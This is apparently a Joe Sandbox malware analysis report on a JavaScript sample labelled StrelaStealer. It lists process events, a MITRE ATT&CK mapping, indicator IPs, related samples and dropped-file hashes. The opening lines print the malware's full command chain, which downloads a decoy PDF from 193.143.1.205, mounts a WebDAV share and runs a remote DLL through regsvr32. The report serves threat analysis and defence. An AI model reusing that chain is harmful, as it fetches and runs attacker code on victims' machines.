Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
106161149748268293.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
106161149748268293.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/sceab	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/8	net.exe, 00000007.00000002.2101784891.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088289427.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3330391147.000001276FA90000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2089015671.000001276F7E0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/4	net.exe, 00000007.00000002.2101784891.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088289427.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sceab	net.exe, 00000007.00000002.2101497883.0000017F634A8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.2088289427.0000017F634E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2088289427.0000017F634D2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2086813920.0000017F634FE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101784891.0000017F634D2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101497883.0000017F634A8000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589058
Start date and time:	2025-01-11 09:00:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	106161149748268293.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.214.172, 23.209.209.135, 2.16.168.105, 2.16.168.107, 4.175.87.197, 13.107.246.45, 104.77.220.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:01:04	API Interceptor	23x Sleep call for process: powershell.exe modified
03:01:08	API Interceptor	1x Sleep call for process: net.exe modified
03:01:08	API Interceptor	2x Sleep call for process: svchost.exe modified
03:01:21	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14551240011188825169.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	207059547457320193.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22931850270221075.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1444589682028830633.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	599461291572316126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19559251331544623964.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1274513223711714673.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1110167182254330320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6942228092691529249.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	944924352317221058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2878822876987216987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2801910740378426994.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2784527361260704938.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	89131879533771361.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307035782153733
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugS:gJjJGtpTq2yv1AuNZRY3diu8iBVqFE
MD5:	DC1ECDAB2E66DB524137439C0EC72B60
SHA1:	438AEAF46F934077F54D39213DC0ABA55F7A3901
SHA-256:	9C6BB6604719126F394BB7B21FC517994FBC4E105985CF3C7EA15746A2378918
SHA-512:	CD260175E2BC2260D21FA3CA656FE336DB3B116AA992700904D12B8FCE4C50E4839D61F895E2A604091DEC4898CF69ACC486374D285344DD2B0926405B401A7C
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc633692e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585582662949111
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:5aza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	1EADB5B4DA7D625D803FB1FF07638A67
SHA1:	7CCDD264E01BC7B0A929C169DA49F6EAB884FE10
SHA-256:	A125893F848E1A68F461AB7D93058E2BEFA69B35D440ACE4A86F3B3368D5C19F
SHA-512:	90001086D3B802118D32112EFF434D90D282CD55018661A454913E17200DF65D7A55A20D3A36DA1837222B9E91D8F9578876B2725CF22CBC3C24F2B7261D0001
Malicious:	false
Preview:	.3i.... ...............X\...;...{......................0.z..........{.......};.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................A ......}Y..........................}Y..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08043002003770645
Encrypted:	false
SSDEEP:	3:HlllKYeanR8ZtGuAJkhvekl1hu7tafAllrekGltll/SPj:NKz5trxlEkAJe3l
MD5:	61AB83F0D4F364CE4CF3FF584BE41B03
SHA1:	B0D92B8B628ED90A6B1F58C922797D4CA245C36F
SHA-256:	67DE2A9E7A1DC82EA427F5EC7C49F6046F0F0AA8D053EBE4CB59AE7396B04DBE
SHA-512:	5922F8D9202EFD3323D69D707BB9495397EB31CFFA555E2203EA96BF92E0EE7EAE5AB23CA5C5F4AD90E74870F2A0FC9A6C611F12A0CB666D93A48C1F63AA1AF7
Malicious:	false
Preview:	Jp.......................................;...{.......}Y......{...............{.......{...XL......{...........................}Y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.0645708672456715
Encrypted:	false
SSDEEP:	6:iOllVq2P92nKuAl9OmbnIFUtHzggZmwpzgIkwO92nKuAl9OmbjLJ:7tv4HAahFUtV/x5LHAaSJ
MD5:	61D474AA2E05F68FFBED8A1673810331
SHA1:	A55E116849E1005F0E31EBD839CC4EB478865F8D
SHA-256:	35B4AF2283E88D9A16F3F1D2B2EE373916A01D5A1C302556AF6915A5BBA9E48A
SHA-512:	17EA5F158CD659C062D278959AA47919B81BE756BA827D8B55C8192DC5C82FDBD0E767113E5E608878FD6B2134CE056D4FED772DD3F458BCCC448CBB5B91BA4C
Malicious:	false
Preview:	2025/01/11-03:01:08.378 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:01:08.380 1030 Recovering log #3.2025/01/11-03:01:08.380 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.0645708672456715
Encrypted:	false
SSDEEP:	6:iOllVq2P92nKuAl9OmbnIFUtHzggZmwpzgIkwO92nKuAl9OmbjLJ:7tv4HAahFUtV/x5LHAaSJ
MD5:	61D474AA2E05F68FFBED8A1673810331
SHA1:	A55E116849E1005F0E31EBD839CC4EB478865F8D
SHA-256:	35B4AF2283E88D9A16F3F1D2B2EE373916A01D5A1C302556AF6915A5BBA9E48A
SHA-512:	17EA5F158CD659C062D278959AA47919B81BE756BA827D8B55C8192DC5C82FDBD0E767113E5E608878FD6B2134CE056D4FED772DD3F458BCCC448CBB5B91BA4C
Malicious:	false
Preview:	2025/01/11-03:01:08.378 1030 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-03:01:08.380 1030 Recovering log #3.2025/01/11-03:01:08.380 1030 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.146685319175382
Encrypted:	false
SSDEEP:	6:iOludq2P92nKuAl9Ombzo2jMGIFUtHuJZZmwpumkwO92nKuAl9Ombzo2jMmLJ:7Iv4HAa8uFUt8/p5LHAa8RJ
MD5:	83E629CFC289887629524B34DAEFF497
SHA1:	0EC55617A7871663A0A487CF9F2B06AFE5053FD5
SHA-256:	176ADA9CE9853EB0262C93B1FDDA2A6D56B1A8F86DBF92818199553D00BE32D9
SHA-512:	975B85EED75809445DA32D6A03BC545CF0B1FEF2BB914E82E113448C4AD325C6075706AD4A957C77EBC408D0249876B5C6333749CFDDCC1B2F139D58CF1C5725
Malicious:	false
Preview:	2025/01/11-03:01:08.462 15a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:01:08.463 15a4 Recovering log #3.2025/01/11-03:01:08.464 15a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.146685319175382
Encrypted:	false
SSDEEP:	6:iOludq2P92nKuAl9Ombzo2jMGIFUtHuJZZmwpumkwO92nKuAl9Ombzo2jMmLJ:7Iv4HAa8uFUt8/p5LHAa8RJ
MD5:	83E629CFC289887629524B34DAEFF497
SHA1:	0EC55617A7871663A0A487CF9F2B06AFE5053FD5
SHA-256:	176ADA9CE9853EB0262C93B1FDDA2A6D56B1A8F86DBF92818199553D00BE32D9
SHA-512:	975B85EED75809445DA32D6A03BC545CF0B1FEF2BB914E82E113448C4AD325C6075706AD4A957C77EBC408D0249876B5C6333749CFDDCC1B2F139D58CF1C5725
Malicious:	false
Preview:	2025/01/11-03:01:08.462 15a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-03:01:08.463 15a4 Recovering log #3.2025/01/11-03:01:08.464 15a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0bb41ee7-f101-4acc-9a3d-cac627155d04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.056751691114228
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkGtsBdOg2Hycaq3QYiubxnP7E4T3OF+:Y2sRdsgOdMHd3QYhbxP7nbI+
MD5:	E3B0B81EA5D6EB881240CA58DAF2CB17
SHA1:	ADC041DAEDD163D44ACC477BB14883BED7CDEB9E
SHA-256:	F9D9474FDA2011A51011003CC6D7CEDAB1367CE4E24C3593F8CA12933023E7F7
SHA-512:	C1218B0B66369EA00E9FE8267509D6C2693CF0E48419ADDC40A2B4092B1668DCD153AE1E97E09EE5081D2C462231B64D1874583A77BE98718027915857295541
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142481032925","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":108777},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.056751691114228
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqkGtsBdOg2Hycaq3QYiubxnP7E4T3OF+:Y2sRdsgOdMHd3QYhbxP7nbI+
MD5:	E3B0B81EA5D6EB881240CA58DAF2CB17
SHA1:	ADC041DAEDD163D44ACC477BB14883BED7CDEB9E
SHA-256:	F9D9474FDA2011A51011003CC6D7CEDAB1367CE4E24C3593F8CA12933023E7F7
SHA-512:	C1218B0B66369EA00E9FE8267509D6C2693CF0E48419ADDC40A2B4092B1668DCD153AE1E97E09EE5081D2C462231B64D1874583A77BE98718027915857295541
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381142481032925","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":108777},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.239484721839988
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUX+tpS:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLO
MD5:	F65B83A4B3172CB8C4C4C7055C346859
SHA1:	BA6C476F3E4084FD043D726BCC1E89952AFF1D63
SHA-256:	5C6F3C6904372BEAADA56EA7DAF0E0705CCB01BACFD2C3EB2698FEAFA64FE6A2
SHA-512:	C5CC35FBFC2B20D21CC2F25F1F355E30F64012FFD5C78069F548C18C85242CD866660A368C620C44370EDE93B592E78212CD1E4E26CA85C192A2D685A78AEE14
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.168646319312901
Encrypted:	false
SSDEEP:	6:iOlOOq2P92nKuAl9OmbzNMxIFUtH6FK9ZmwpoPkwO92nKuAl9OmbzNMFLJ:7cOv4HAa8jFUtd9/yP5LHAa84J
MD5:	E89D9474E6D1D55B7CE806B5F9EDE5BE
SHA1:	80CC5A613B1EAE508EADB3B64DD57AF2E1662768
SHA-256:	2E21D6BD47B33C46BBD282BA726AA450C5B0B3660EBFE51EB1C4D7BFFF6FE2F2
SHA-512:	8A186FD51B8F6CB54DD73DAEE89BEC89063B698A2E70DE9463973A05F3370B2C2320D38E3C31A43AF1828C1C5CD7C28A20358EA865D5F4514CC3EC498788CC56
Malicious:	false
Preview:	2025/01/11-03:01:08.595 15a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:01:08.596 15a4 Recovering log #3.2025/01/11-03:01:08.597 15a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.168646319312901
Encrypted:	false
SSDEEP:	6:iOlOOq2P92nKuAl9OmbzNMxIFUtH6FK9ZmwpoPkwO92nKuAl9OmbzNMFLJ:7cOv4HAa8jFUtd9/yP5LHAa84J
MD5:	E89D9474E6D1D55B7CE806B5F9EDE5BE
SHA1:	80CC5A613B1EAE508EADB3B64DD57AF2E1662768
SHA-256:	2E21D6BD47B33C46BBD282BA726AA450C5B0B3660EBFE51EB1C4D7BFFF6FE2F2
SHA-512:	8A186FD51B8F6CB54DD73DAEE89BEC89063B698A2E70DE9463973A05F3370B2C2320D38E3C31A43AF1828C1C5CD7C28A20358EA865D5F4514CC3EC498788CC56
Malicious:	false
Preview:	2025/01/11-03:01:08.595 15a4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-03:01:08.596 15a4 Recovering log #3.2025/01/11-03:01:08.597 15a4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
